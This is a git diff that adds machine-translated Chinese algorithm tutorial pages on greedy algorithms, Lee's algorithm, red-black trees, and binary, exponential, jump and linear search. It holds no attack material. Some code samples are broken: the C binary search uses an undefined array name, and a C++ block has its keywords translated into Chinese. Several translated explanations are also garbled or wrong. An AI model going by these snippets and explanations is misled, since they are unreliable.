+您还可以使用欧几里德算法查找两个以上数字的GCD。 由于GCD是关联的，因此以下操作有效-GCD `GCD(a,b,c) == GCD(GCD(a,b), c)`
+
+计算前两个数字的GCD，然后找到结果的GCD和下一个数字。 `GCD(203,91,77) == GCD(GCD(203,91),77) == GCD(7, 77) == 7`
+
+您可以以相同的方式找到`n`数字的GCD。
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/greedy-algorithms/index.md b/client/src/guide/chinese/algorithms/greedy-algorithms/index.md
new file mode 100644
index 0000000000..3a0a346574
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/greedy-algorithms/index.md
@@ -0,0 +1,89 @@
+---
+title: Greedy Algorithms
+localeTitle: 贪心算法
+---
+## 什么是贪婪算法
+
+在筛选一些文章时，你一定听说过很多算法设计技巧。他们之中有一些是 ：
+
+*   蛮力
+*   分而治之
+*   贪心编程
+*   动态编程 仅举几例。在本文中，您将了解贪婪算法是什么以及如何使用此技术来解决许多编程问题，否则这些问题似乎并不重要。
+
+想象一下，你要去远足，你的目标是达到最高峰。您在开始之前已经拥有了地图，但地图上显示了数千条可能的路径。你太懒了，根本没有时间评估每一个。拧地图！你开始用简单的策略徒步旅行 - 贪婪和近视。只需走最多向上倾斜的路径。这似乎是徒步旅行的好策略。但它总是最好的吗？
+
+旅行结束后，你的整个身体酸痛和疲惫，你第一次看远足地图。哦，我的上帝！我应该穿过一条泥泞的河流，而不是继续向上走。这意味着贪婪的算法选择了最佳的直接选择，并且从不重新考虑其选择。在优化解决方案方面，这仅仅意味着贪婪的解决方案将尝试找到本地最优解决方案 - 可能很多 - 并且可能错过全球最优解决方案。
+
+## 正式定义
+
+假设您有一个需要在给定点优化（最大化或最小化）的目标函数。贪婪算法在每一步都做出贪婪的选择，以确保优化目标函数。 Greedy算法只有一次计算最佳解决方案，因此它永远不会返回并反转决策。
+
+### 贪心算法有一些优点和缺点：
+
+*   对于一个问题，很容易想出一个贪心算法（甚至是多个贪婪算法）。 分析贪婪算法的运行时间通常比其他技术（如分而治之）更容易。对于分而治之技术，尚不清楚该技术是快还是慢。这是因为在每个递归级别，大小变小，子问题的数量增加。
+    
+*   困难的部分是，对于贪婪的算法，你必须更加努力地去理解正确性问题。即使使用正确的算法，也很难证明它为什么是正确的。证明贪婪算法是正确的更多是艺术而不是科学。它涉及很多创造力。通常，提出一种算法似乎是微不足道的，但证明它实际上是正确的，这是一个完全不同的问题。
+    
+
+## 区间调度问题
+
+让我们深入探讨几乎任何行业或任何行业中都会遇到的有趣问题。该问题的一些实例如下：
+
+*   您将获得一组N个大学课程的N个课程表。特定讲座的时间表是形式（ _时间，_时间），其中s _时间表示该讲座的开始时间，类似地，f_时间表示结束时间。给出N个讲座时间表的列表，我们需要选择在白天举行的最大讲座集，以使得**所有讲座都不相互重叠，即如果讲座Li和Lj包含在我们的选择中那么j的开始时间> =完成i的时间，反之亦然** 。
+    
+*   你的朋友正在担任营地辅导员，他负责组织一系列露营者的活动。他的一个计划是下面的迷你铁人三项运动：每个参赛者必须游泳20圈，然后骑自行车10英里，然后跑3英里。
+    
+*   计划是通过以下规则以交错方式发送参赛者：参赛者必须一次使用一个游泳池。换句话说，第一个参赛者在20圈游泳，下车，并开始骑自行车。
+    
+*   一旦第一个人离开游泳池，第二个参赛者就开始游泳20圈;一旦他或她开始骑自行车，第三名选手开始游泳，依此类推。
+    
+*   每位参赛者都有预计的游泳时间，预计的骑行时间和预计的跑步时间。你的朋友想要决定铁人三项的时间表：一个顺序来排列参赛者的开始。
+    
+*   假设时间预测是准确的，假设时间表的完成时间是所有参赛者完成铁人三项全部三条腿的最早时间。如果想让整个比赛尽快结束，那么派出人员的最佳顺序是什么？更准确地说，提供一种有效的算法，该算法产生一个完成时间尽可能小的时间表
+    
+
+### 讲座调度问题
+
+让我们看看解决这个问题的各种方法。
+
+1.  **最早的开始时间首先，**即选择具有最早开始时间的间隔。请看下面打破此解决方案的示例。此解决方案失败，因为可能会有一个很早开始的间隔，但这个间隔很长。这意味着我们可以尝试的下一个策略是首先考虑较小的间隔。 ![最早的开始时间](https://algorithmsandme.files.wordpress.com/2015/03/f268b-jobs.png?w=840)
+    
+2.  **最小的间隔首先，**即你最终按照他们的整体间隔顺序选择讲座，这只是他们的`finish time - start time` 。同样，这个解决方案不正确。请看以下案例。 ![最短间隔优先](https://i.stack.imgur.com/4bz2N.png)
+    
+
+您可以清楚地看到最短的间隔讲座是中间讲座，但这不是最佳解决方案。让我们看看这个问题的另一个解决方案，从这个解决方案中获得见解。
+
+3.  **最小冲突间隔首先，**即您应该查看导致冲突次数最少的间隔。然而，我们再次举例说明这种方法无法找到最佳解决方案。 ![最小冲突间隔优先](https://i.stack.imgur.com/5LZ9V.png)
+
+该图表显示，冲突间隔最小的区间是中间只有2个冲突的区间。之后我们只能在最后两个区间选择两个区间，每个区间有3个冲突。但最佳解决方案是在最顶层选择4个区间。
+
+4.  **最早的完成时间** 。这种方法始终为我们提供了解决此问题的最佳解决方案。我们从以前的方法中获得了很多见解，并最终得出了这种方法。我们根据完成时间的递增顺序对间隔进行排序，然后我们从一开始就选择间隔。请查看以下伪代码以获得更清晰的信息。
+```
+function interval_scheduling_problem(requests) 
+    schedule \gets \{\} 
+    while requests is not yet empty 
+        choose a request i_r \in requests that has the lowest finishing time 
+        schedule \gets schedule \cup \{i_r\} 
+        delete all requests in requests that are not compatible with i_r 
+    end 
+    return schedule 
+ end 
+```
+
+## 我们什么时候使用贪婪算法
+
+贪婪算法可以帮助您找到许多看似棘手的问题的解决方案。它们唯一的问题是您可能会提出正确的解决方案，但您可能无法验证它是否正确。所有贪婪的问题都有一个共同的特性，一个地方的最终可以最终导致全球最小化而不重新考虑已经考虑过的一系列选择。
+
+贪婪算法帮助我们解决许多不同类型的问题。请继续关注其中每一个的即将发布的教程。
+
+1.  最短路径问题。
+2.  图中的最小生成树问题。
+3.  霍夫曼编码问题。
+4.  K中心问题
+
+#### 更多信息：
+
+ [![贪心问题](http://img.youtube.com/vi/HzeK7g8cD0Y/0.jpg)](https://www.youtube.com/watch?v=HzeK7g8cD0Y) 
+
+ [![贪心问题](http://img.youtube.com/vi/poWB2UCuozA/0.jpg)](https://www.youtube.com/watch?v=poWB2UCuozA)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/index.md b/client/src/guide/chinese/algorithms/index.md
new file mode 100644
index 0000000000..3064fe9b26
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/index.md
@@ -0,0 +1,53 @@
+---
+title: Algorithms
+localeTitle: 算法
+---
+## 算法
+
+在计算机科学中，算法是如何解决一类问题的明确规范。算法可以执行计算，数据处理和自动推理任务。
+
+算法是一种有效的方法，可以在有限的空间和时间内以及用于计算函数的明确定义的形式语言中表达。从初始状态和初始输入（可能是空的）开始，指令描述了一种计算，该计算在执行时通过有限数量的明确定义的连续状态，最终产生“输出”并终止于最终结束状态。从一个州到下一个州的过渡不一定是确定性的;一些算法，称为随机算法，包含随机输入。
+
+算法必须遵守某些要求：
+
+1.  确定性：精确陈述过程中的每一步。
+2.  有效的可计算性：该过程的每个步骤都可以由计算机执行。
+3.  有限性：程序最终会成功终止。
+
+一些常见类型的算法包括排序算法，搜索算法和压缩算法。算法类包括图形，动态编程，排序，搜索，字符串，数学，计算几何，优化和杂项。虽然技术上不是一类算法，但数据结构通常与它们组合在一起。
+
+### 效率
+
+算法最常见的是它们的效率和完成任务所需的计算资源量。评估算法的常用方法是查看其时间复杂度。这显示了算法的运行时间随着输入大小的增长而增长。由于今天的算法必须在大数据输入上运行，因此我们的算法必须具有相当快的运行时间。
+
+### 排序算法
+
+根据您的需要，排序算法有各种风格。 一些非常常见和广泛使用的是：
+
+#### 快速排序
+
+没有快速排序可以完成排序讨论。基本概念在以下链接中。 [快速排序](http://me.dt.in.th/page/Quicksort/)
+
+#### 合并排序
+
+它是排序算法，它依赖于如何合并排序数组以给出一个排序数组的概念。在这里阅读更多相关信息 - [合并排序](https://www.geeksforgeeks.org/merge-sort/)
+
+freeCodeCamp的课程强调创建算法。这是因为学习算法是练习编程技巧的好方法。在开发人员面试期间，面试官最常测试算法候选人。
+
+### 更多资源
+
+[算法简介|速成课程：计算机科学](https://www.youtube.com/watch?v=rL8X2mlNHPM)
+
+该视频提供了一个可访问且生动的算法介绍，侧重于排序和图搜索算法。
+
+[什么是算法，为什么要关心？ |可汗学院](https://www.youtube.com/watch?v=CvSOaYi89B4)
+
+该视频介绍了算法，并简要讨论了它们的一些高调用途。
+
+[15分钟排序算法|蒂莫宾曼](https://www.youtube.com/watch?v=kPRA0W1kECg)
+
+该视频直观地演示了一些流行的排序算法，这些算法通常在编程和计算机科
+
+[算法可视化器](http://algo-visualizer.jasonpark.me)
+
+这也是一个非常好的开源项目，可以帮助您可视化算法。
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/lee-algorithm/index.md b/client/src/guide/chinese/algorithms/lee-algorithm/index.md
new file mode 100644
index 0000000000..5beb191042
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/lee-algorithm/index.md
@@ -0,0 +1,61 @@
+---
+title: Lee's Algorithm
+localeTitle: 李的算法
+---
+## 李的算法
+
+Lee算法是迷宫路由问题的一种可能解决方案。它始终提供最佳解决方案，如果存在，但是 缓慢并需要大内存以进行密集布局。
+
+### 了解它是如何工作的
+
+该算法是基于`breadth-first`算法，它使用`queues`来存储步骤。它通常使用以下步骤：
+
+1.  选择一个起点并将其添加到队列中。
+2.  将有效的相邻单元添加到队列中。
+3.  从队列中删除您所在的位置并继续下一个元素。
+4.  重复步骤2和3，直到队列为空。
+
+### 履行
+
+C ++已经在`<queue>`库中实现了`<queue>` ，但如果您正在使用其他东西，欢迎您实现 你自己的队列版本。
+
+C ++代码：
+
+```c++
+int dl[] = {-1, 0, 1, 0}; // these arrays will help you travel in the 4 directions more easily 
+ int dc[] = {0, 1, 0, -1}; 
+ 
+ queue<int> X, Y; // the queues used to get the positions in the matrix 
+ 
+ X.push(start_x); //initialize the queues with the start position 
+ Y.push(start_y); 
+ 
+ void lee() 
+ { 
+  int x, y, xx, yy; 
+  while(!X.empty()) // while there are still positions in the queue 
+  { 
+    x = X.front(); // set the current position 
+    y = Y.front(); 
+    for(int i = 0; i < 4; i++) 
+    { 
+      xx = x + dl[i]; // travel in an adiacent cell from the current position 
+      yy = y + dc[i]; 
+      if('position is valid') //here you should insert whatever conditions should apply for your position (xx, yy) 
+      { 
+          X.push(xx); // add the position to the queue 
+          Y.push(yy); 
+          mat[xx][yy] = -1; // you usually mark that you have been to this position in the matrix 
+      } 
+ 
+    } 
+ 
+    X.pop(); // eliminate the first position, as you have no more use for it 
+    Y.pop(); 
+ 
+  } 
+ 
+ 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/red-black-trees/index.md b/client/src/guide/chinese/algorithms/red-black-trees/index.md
new file mode 100644
index 0000000000..c30b17b0f9
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/red-black-trees/index.md
@@ -0,0 +1,37 @@
+---
+title: Red Black Trees
+localeTitle: 红黑树
+---
+## 红黑树
+
+Red-Black Tree是一种自平衡二进制搜索树（BST），其中每个节点都遵循以下规则。
+
+1.  每个节点都有两个孩子，颜色为红色或黑色。
+2.  每个树叶节点始终为黑色。
+3.  每个红色节点都有两个黑色的孩子。
+4.  没有两个相邻的红色节点（红色节点不能有红色父节点或红色节点）。
+5.  从根到树叶节点的每条路径都具有相同数量的黑色节点（称为“黑色高度”）。
+
+参考样式： ![alt text](https://upload.wikimedia.org/wikipedia/commons/thumb/a/ab/Fibonacci_Tree_as_Red-Black_Tree.svg/2000px-Fibonacci_Tree_as_Red-Black_Tree.svg.png "斐波纳契红黑树的例子")
+
+### 为什么红黑树？
+
+大多数BST操作（例如，搜索，最大，最小，插入，删除等）需要O（h）时间，其中h是BST的高度。对于倾斜的二叉树，这些操作的成本可能变为O（n）。如果我们确保在每次插入和删除后树的高度保持为O（Logn），那么我们可以保证所有这些操作的O（Logn）的上限。红黑树的高度始终为O（Logn），其中n是树中的节点数。
+
+### 与AVL树的比较
+
+与红黑树相比，AVL树更加平衡，但它们可能在插入和删除期间引起更多旋转。因此，如果您的应用程序涉及许多频繁的插入和删除，那么应该首选红黑树。如果插入和删除频率较低且搜索操作更频繁，那么AVL树应优先于红黑树。
+
+### 左倾红黑树
+
+左倾红黑（LLRB）树是一种自平衡二分搜索树。它是红黑树的变体，保证了操作的渐近复杂度，但设计更容易实现。
+
+### 左倾红黑树的性质
+
+所提出的所有红黑树算法的特征在于在N个密钥树中由log N的小常数倍限定的最坏情况搜索时间，并且在实践中观察到的行为通常比最坏情况下，接近检查的最佳log N节点，这将在完美平衡的树中观察到。
+
+具体来说，在一个由N个随机键构建的左倾红黑色2-3树中： - >随机成功搜索检查log2 N - 0.5节点。 - >平均树高约为2 log2 N.
+
+#### 更多信息：
+
+*   [来自算法和数据结构的视频](https://www.youtube.com/watch?v=2Ae0D6EXBV4)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/search-algorithms/binary-search/index.md b/client/src/guide/chinese/algorithms/search-algorithms/binary-search/index.md
new file mode 100644
index 0000000000..0d5ad5cc93
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/search-algorithms/binary-search/index.md
@@ -0,0 +1,268 @@
+---
+title: Binary Search
+localeTitle: 二进制搜索
+---
+## 二进制搜索
+
+二进制搜索通过将搜索间隔重复分成两半来定位已排序数组中的项。
+
+如何在电话簿中搜索姓名？
+
+一种方法是从第一页开始，查看电话簿中的每个名称，直到找到我们要查找的内容。但这将是一种极其费力且低效的搜索方式。
+
+因为我们知道电话簿中的名称是按字母顺序排序的，所以我们可能会按照以下步骤进行操作：
+
+1.  打开电话簿的中间页面
+2.  如果它有我们想要的名字，我们就完成了！
+3.  否则，丢弃不包含名称的电话簿的一半
+4.  重复，直到找到名称或电话簿中没有剩余页面
+
+时间复杂度：当我们在二进制搜索的每个步骤中处理搜索案例的一部分，并在另一半上执行搜索操作时，这导致最坏情况时间复杂度为_O_ （ _log 2 N_ ）。
+
+空间复杂度：二进制搜索采用常量或_O_ （ _1_ ）空间意味着我们不进行任何与输入大小相关的变量定义。
+
+对于小集合，线性搜索更好，但在较大的集合中，使用二进制搜索更有效。
+
+详细地说，你有多少次N除以2，直到你有1？这基本上是说，做二元搜索（一半元素）直到找到它。在一个公式中，这将是这样的：
+```
+1 = N / 2x 
+```
+
+乘以2x：
+```
+2x = N 
+```
+
+现在做log2：
+```
+log2(2x)    = log2 N 
+ x * log2(2) = log2 N 
+ x * 1       = log2 N 
+```
+
+这意味着您可以将日志分为N次，直到您将所有内容分开。这意味着您必须将日志N（“执行二进制搜索步骤”）分开，直到找到您的元素。
+
+_O_ （ _log 2 N_ ）是这样的，因为在每个步骤中数据集中的一半元素都消失了，这是由对数函数的基础证明的。
+
+这是二进制搜索算法。它优雅而高效，但要正常工作，必须对数组进行**排序** 。
+
+* * *
+
+使用二进制搜索在给定的数字数组中找到5。
+
+![二进制搜索1](https://i.imgur.com/QAuugOL.jpg)
+
+标记阵列中的低位，高位和中位。
+
+![二进制搜索2](https://i.imgur.com/1710fEx.jpg)
+
+将您要查找的项目与中间元素进行比较。
+
+![二进制搜索3](https://i.imgur.com/jr4icze.jpg)
+
+丢掉左半边，看看右半边。
+
+![二进制搜索4](https://i.imgur.com/W57lGsk.jpg)
+
+再次与中间元素进行比较。
+
+![二进制搜索5](https://i.imgur.com/5Twm8NE.jpg)
+
+现在，移动到左半边。
+
+![二进制搜索6](https://i.imgur.com/01xetay.jpg)
+
+中间元素是我们正在寻找的项目！
+
+二进制搜索算法采用分而治之的方法，其中数组被连续分割，直到找到项目或者直到没有剩余的元素用于检查。因此，可以递归地定义该算法以生成优雅的解决方案。
+
+递归的两个基本情况是：
+
+*   数组中没有剩余元素
+*   找到物品
+
+数据系统中二进制搜索的力量（B +树）： 二进制搜索树由于其O（log n）搜索时间而非常强大，其次是使用哈希键数据结构来搜索O（1）中的数据。了解log n运行时如何来自二叉搜索树的高度非常重要。如果每个节点分成两个节点（二进制），则树的深度为log n（基数2）。为了提高数据系统中的速度，我们使用B +树，因为它们具有更大的分支因子，并且因此更高。我希望这篇简短的文章有助于扩展您对实际系统中二进制搜索的使用方式的看法。
+
+递归二进制搜索的代码如下所示：
+
+### Javascript实现
+
+```javascript
+function binarySearch(arr, item, low, high) { 
+    if (low > high) { // No more elements in the array. 
+        return null; 
+    } 
+ 
+    // Find the middle of the array. 
+    var mid = Math.ceil((low + high) / 2); 
+ 
+    if (arr[mid] === item) { // Found the item! 
+        return mid; 
+    } 
+ 
+    if (item < arr[mid]) { // Item is in the half from low to mid-1. 
+        return binarySearch(arr, item, low, mid-1); 
+    } 
+ 
+    else { // Item is in the half from mid+1 to high. 
+        return binarySearch(arr, item, mid+1, high); 
+    } 
+ } 
+ 
+ var numbers = [1,2,3,4,5,6,7]; 
+ print(binarySearch(numbers, 5, 0, numbers.length-1)); 
+```
+
+这是Javascript中的另一个实现：
+
+```Javascript
+function binary_search(a, v) { 
+    function search(low, high) { 
+        if (low === high) { 
+            return a[low] === v; 
+        } else { 
+            var mid = math_floor((low + high) / 2); 
+            return (v === a[mid]) 
+                   || 
+                   (v < a[mid]) 
+                   ? search(low, mid - 1) 
+                   : search(mid + 1, high); 
+        } 
+    } 
+    return search(0, array_length(a) - 1); 
+ } 
+```
+
+### Ruby实现
+
+```ruby
+def binary_search(target, array) 
+  sorted_array = array.sort 
+  low = 0 
+  high = (sorted_array.length) - 1 
+ 
+  while high >= low 
+    middle = (low + high) / 2 
+ 
+    if target > sorted_array[middle] 
+      low = middle + 1 
+    elsif target < sorted_array[middle] 
+      high = middle - 1 
+    else 
+      return middle 
+    end 
+  end 
+  return nil 
+ end 
+```
+
+### C中的示例
+
+```C
+int binarySearch(int a[], int l, int r, int x) { 
+   if (r >= l){ 
+        int mid = l + (r - l)/2; 
+        if (a[mid] == x) 
+            return mid; 
+        if (arr[mid] > x) 
+            return binarySearch(arr, l, mid-1, x); 
+        return binarySearch(arr, mid+1, r, x); 
+   } 
+   return -1; 
+ } 
+```
+
+### C / C ++实现
+
+```C++
+int binary_search(int arr[], int l, int r, int target) 
+ { 
+   if (r >= l) 
+   { 
+        int mid = l + (r - l)/2; 
+        if (arr[mid] == target) 
+            return mid; 
+        if (arr[mid] > target) 
+            return binary_search(arr, l, mid-1, target); 
+        return binary_search(arr, mid+1, r, target); 
+   } 
+   return -1; 
+ } 
+```
+
+### Python实现
+
+```Python
+def binary_search(arr, l, r, target): 
+    if r >= l: 
+        mid = l + (r - l)/2 
+        if arr[mid] == target: 
+            return mid 
+        elif arr[mid] > target: 
+            return binary_search(arr, l, mid-1, target) 
+        else: 
+            return binary_search(arr, mid+1, r, target) 
+    else: 
+        return -1 
+```
+
+### C ++中的示例
+
+```c++
+// Binary Search using iteration 
+ int binary_search(int arr[], int beg, int end, int num) 
+ { 
+    while(beg <= end){ 
+        int mid = (beg + end) / 2; 
+        if(arr[mid] == num) 
+            return mid; 
+        else if(arr[mid] < num) 
+            beg = mid + 1; 
+        else 
+            end = mid - 1; 
+    } 
+    return -1; 
+ } 
+```
+
+```c++
+// Binary Search using recursion 
+ int binary_search(int arr[], int beg, int end, int num) 
+ { 
+    if(beg <= end){ 
+        int mid = (beg + end) / 2; 
+        if(arr[mid] == num) 
+            return mid; 
+        else if(arr[mid] < num) 
+            return binary_search(arr, mid + 1, end, num); 
+        else 
+            return binary_search(arr, beg, mid - 1, num); 
+    } 
+    return -1; 
+ } 
+```
+
+### C ++中的示例
+
+递归方法！
+
+\`\`\`C ++ - 递归方法 int binarySearch（int arr \[\]，int start，int end，int x） { if（结束> =开始） { int mid = start +（end - start）/ 2; if（arr \[mid\] == x）  
+返回中间;
+```
+    if (arr[mid] > x) 
+        return binarySearch(arr, start, mid-1, x); 
+ 
+    return binarySearch(arr, mid+1, end, x); 
+```
+
+} 返回-1; }
+```
+Iterative approach! 
+```
+
+C ++ - 迭代方法 int binarySearch（int arr \[\]，int start，int end，int x） { while（开始<=结束） { int mid = start +（end - start）/ 2; if（arr \[mid\] == x） 返回中间; if（arr \[mid\] <x） start = mid + 1; 其他 结束=中 - 1; } 返回-1; } \`\`\`
+
+### 更多信息
+
+*   [二进制搜索（YouTube视频）](https://youtu.be/P3YID7liBug)
+*   [二进制搜索 - CS50](https://www.youtube.com/watch?v=5xlIPT1FRcA)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/search-algorithms/exponential-search/index.md b/client/src/guide/chinese/algorithms/search-algorithms/exponential-search/index.md
new file mode 100644
index 0000000000..e90a3210e1
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/search-algorithms/exponential-search/index.md
@@ -0,0 +1,95 @@
+---
+title: Exponential Search
+localeTitle: 指数搜索
+---
+## 指数搜索
+
+指数搜索也称为手指搜索，通过每次迭代跳过`2^i`元素来搜索排序数组中的元素，其中i表示 循环控制变量的值，然后验证在最后一次跳转和当前跳转之间是否存在搜索元素
+
+# 复杂性最坏的情况
+
+为O（log（N）） 由于名称经常混淆，因此算法的命名不是因为时间复杂性。 该名称是由于算法跳过具有等于2的指数的步骤的元素而产生的
+
+# 作品
+
+1.  一次跳转数组`2^i`元素，搜索条件`Array[2^(i-1)] < valueWanted < Array[2^i]` 。如果`2^i`大于数组的长度，则将上限设置为数组的长度。
+2.  在`Array[2^(i-1)]`和`Array[2^i]`之间进行二进制搜索
+
+# 码
+```
+// C++ program to find an element x in a 
+ // sorted array using Exponential search. 
+ #include <bits/stdc++.h> 
+ using namespace std; 
+ 
+ int binarySearch(int arr[], int, int, int); 
+ 
+ // Returns position of first ocurrence of 
+ // x in array 
+ int exponentialSearch(int arr[], int n, int x) 
+ { 
+    // If x is present at firt location itself 
+    if (arr[0] == x) 
+        return 0; 
+ 
+    // Find range for binary search by 
+    // repeated doubling 
+    int i = 1; 
+    while (i < n && arr[i] <= x) 
+        i = i*2; 
+ 
+    //  Call binary search for the found range. 
+    return binarySearch(arr, i/2, min(i, n), x); 
+ } 
+ 
+ // A recursive binary search function. It returns 
+ // location of x in  given array arr[l..r] is 
+ // present, otherwise -1 
+ int binarySearch(int arr[], int l, int r, int x) 
+ { 
+    if (r >= l) 
+    { 
+        int mid = l + (r - l)/2; 
+ 
+        // If the element is present at the middle 
+        // itself 
+        if (arr[mid] == x) 
+            return mid; 
+ 
+        // If element is smaller than mid, then it 
+        // can only be present n left subarray 
+        if (arr[mid] > x) 
+            return binarySearch(arr, l, mid-1, x); 
+ 
+        // Else the element can only be present 
+        // in right subarray 
+        return binarySearch(arr, mid+1, r, x); 
+    } 
+ 
+    // We reach here when element is not present 
+    // in array 
+    return -1; 
+ } 
+ 
+ int main(void) 
+ { 
+   int arr[] = {2, 3, 4, 10, 40}; 
+   int n = sizeof(arr)/ sizeof(arr[0]); 
+   int x = 10; 
+   int result = exponentialSearch(arr, n, x); 
+   (result == -1)? printf("Element is not present in array") 
+                 : printf("Element is present at index %d", result); 
+   return 0; 
+ } 
+```
+
+# 更多信息
+
+*   [维基百科](https://en.wikipedia.org/wiki/Exponential_search)
+    
+*   [GeeksForGeeks](https://www.geeksforgeeks.org/exponential-search/)
+    
+
+# 积分
+
+[C ++实现](https://www.wikitechy.com/technology/exponential-search/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/search-algorithms/index.md b/client/src/guide/chinese/algorithms/search-algorithms/index.md
new file mode 100644
index 0000000000..b77e903913
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/search-algorithms/index.md
@@ -0,0 +1,21 @@
+---
+title: Search Algorithms
+localeTitle: 搜索算法
+---
+## 搜索算法
+
+在计算机科学中，搜索算法是解决搜索问题的任何算法，即，检索存储在某些数据结构内或在问题域的搜索空间中计算的信息。此类结构的示例包括链接列表，阵列数据结构，搜索树等等。适当的搜索算法通常取决于被搜索的数据结构，但也取决于有关数据的先验知识。 [更多关于维基百科的信息](https://en.wikipedia.org/wiki/Search_algorithm) 。
+
+这种算法着眼于按升序重新排列项目数组的问题。最常见的两个例子是二进制搜索和合并排序算法。
+
+在以下链接中，您还可以找到有关的更多信息：
+
+*   二进制搜索
+*   线性搜索
+*   搜索链接列表与数组
+
+#### 更多信息：
+
+*   MIT OCW搜索[搜索](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-01sc-introduction-to-electrical-engineering-and-computer-science-i-spring-2011/unit-4-probability-and-planning/search-algorithms/)算法简介。
+*   普林斯顿大学： [排序和搜索。](https://introcs.cs.princeton.edu/java/42sort/)
+*   搜索引擎[（Google）](http://infolab.stanford.edu/~backrub/google.html)的解剖结构[。](http://infolab.stanford.edu/~backrub/google.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/search-algorithms/jump-search/index.md b/client/src/guide/chinese/algorithms/search-algorithms/jump-search/index.md
new file mode 100644
index 0000000000..d8b4c1d6c0
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/search-algorithms/jump-search/index.md
@@ -0,0 +1,29 @@
+---
+title: Jump Search
+localeTitle: 跳转搜索
+---
+## 跳转搜索
+
+跳转搜索通过跳跃k itens定位已排序数组中的项目，然后验证项目是否在中间 先前的跳跃和当前跳跃。
+
+# 复杂性最坏的情况
+
+O（√N）
+
+# 作品
+
+1.  定义k的值，跳跃的数量：最佳跳跃大小为√N，其中N是数组的长度
+2.  按条件`Array[i] < valueWanted < Array[i+k]`跳转数组k-by-k
+3.  在`Array[i]`和`Array[i + k]`之间进行线性搜索
+
+![跳跃搜索1](https://i1.wp.com/theoryofprogramming.com/wp-content/uploads/2016/11/jump-search-1.jpg?resize=676%2C290)
+
+# 码
+
+要查看此方法的代码实现示例，请访问以下链接：
+
+[跳转搜索 - OpenGenus / cosmos](https://github.com/OpenGenus/cosmos/tree/master/code/search/jump_search)
+
+# 积分
+
+[逻辑的阵列图像](http://theoryofprogramming.com/2016/11/10/jump-search-algorithm/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/search-algorithms/linear-search/index.md b/client/src/guide/chinese/algorithms/search-algorithms/linear-search/index.md
new file mode 100644
index 0000000000..b43af25f17
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/search-algorithms/linear-search/index.md
@@ -0,0 +1,140 @@
+---
+title: Linear Search
+localeTitle: 线性搜索
+---
+## 线性搜索
+
+假设您有一个列表或一组项目。您正在搜索特定项目。你是怎样做的？
+
+找到给定列表中的数字13。
+
+![线性搜索1](https://i.imgur.com/ThkzYEV.jpg)
+
+你只要查看清单就可以了！
+
+![线性搜索2](https://i.imgur.com/K7HfCly.jpg)
+
+现在，您如何告诉计算机找到它。
+
+计算机在给定的时刻不能看到超过该值的值。因此它从数组中获取一个项目并检查它是否与您要查找的内容相同。
+
+![线性搜索3](https://i.imgur.com/ZOSxeZD.jpg)
+
+第一项不匹配。所以转到下一个。
+
+![线性搜索4](https://i.imgur.com/SwKsPxD.jpg)
+
+等等…
+
+这样做直到找到匹配或直到检查完所有项目。
+
+![线性搜索5](https://i.imgur.com/3AaViff.jpg)
+
+在此算法中，您可以在找到项目时停止，然后无需进一步查看。
+
+那么线性搜索操作需要多长时间？ 在最好的情况下，你可以幸运，你正在看的项目可能在阵列的第一个位置！ 但在最坏的情况下，您必须在最后一个位置找到项目之前或在您意识到该项目不在阵列中之前查看每个项目。
+
+因此线性搜索的复杂性是：O（n）。
+
+如果要搜索的元素主持第一个存储块，则复杂度为：O（1）。
+
+JavaScript中的线性搜索功能代码如下所示。此函数返回我们在数组中查找的项的位置。如果该项不在数组中，则该函数将返回null。
+
+### Javascript中的示例
+
+```javascript
+function linearSearch(arr, item) { 
+  // Go through all the elements of arr to look for item. 
+  for (var i = 0; i < arr.length; i++) { 
+    if (arr[i] === item) { // Found it! 
+      return i; 
+    } 
+  } 
+ 
+  // Item not found in the array. 
+  return null; 
+ } 
+```
+
+### Ruby中的示例
+
+```ruby
+def linear_search(target, array) 
+  counter = 0 
+ 
+  while counter < array.length 
+    if array[counter] == target 
+      return counter 
+    else 
+      counter += 1 
+    end 
+  end 
+  return nil 
+ end 
+```
+
+### C ++中的示例
+
+```c++
+int linear_search(int arr[],int n,int num) 
+ { 
+    for(int i=0;i<n;i++){ 
+        if(arr[i]==num) 
+            return i; 
+   } 
+   // Item not found in the array 
+   return -1; 
+ } 
+```
+
+### Python中的示例
+
+```python
+def linear_search(array, num): 
+    for i in range(len(array)): 
+        if (array[i]==num): 
+            return i 
+    return -1 
+```
+
+## 全球线性搜索
+
+如果要搜索多个元素，该怎么办？例如，您想要查看数组中有多少5个。
+
+目标= 5
+
+数组= \[1,2,3,4,5,6,5,7,8,9,5\]
+
+这个数组有3个5s的出现，我们想要返回所有这些数组的索引（它们在数组中的位置）。这称为全局线性搜索，您需要调整代码以返回找到目标元素的索引点数组。当您找到与目标匹配的索引元素时，索引点（计数器）将添加到结果数组中。如果它不匹配，代码将继续通过向计数器添加1继续移动到数组中的下一个元素。
+
+```ruby
+def global_linear_search(target, array) 
+  counter = 0 
+  results = [] 
+ 
+  while counter < array.length 
+    if array[counter] == target 
+      results << counter 
+      counter += 1 
+    else 
+      counter += 1 
+    end 
+  end 
+ 
+  if results.empty? 
+    return nil 
+  else 
+    return results 
+  end 
+ end 
+```
+
+## 为什么线性搜索效率不高
+
+毫无疑问，线性搜索很简单，但由于它逐个比较每个元素，因此耗时，因此效率不高。如果我们必须从中找到一个数字，1000000个数字和数字位于最后一个位置，线性搜索技术将变得相当繁琐。所以，还要了解冒泡排序，快速排序等。
+
+#### 相关视频：
+
+#### 其他资源
+
+[线性搜索 - CS50](https://www.youtube.com/watch?v=vZWfKBdSgXI)
\ No newline at end of file
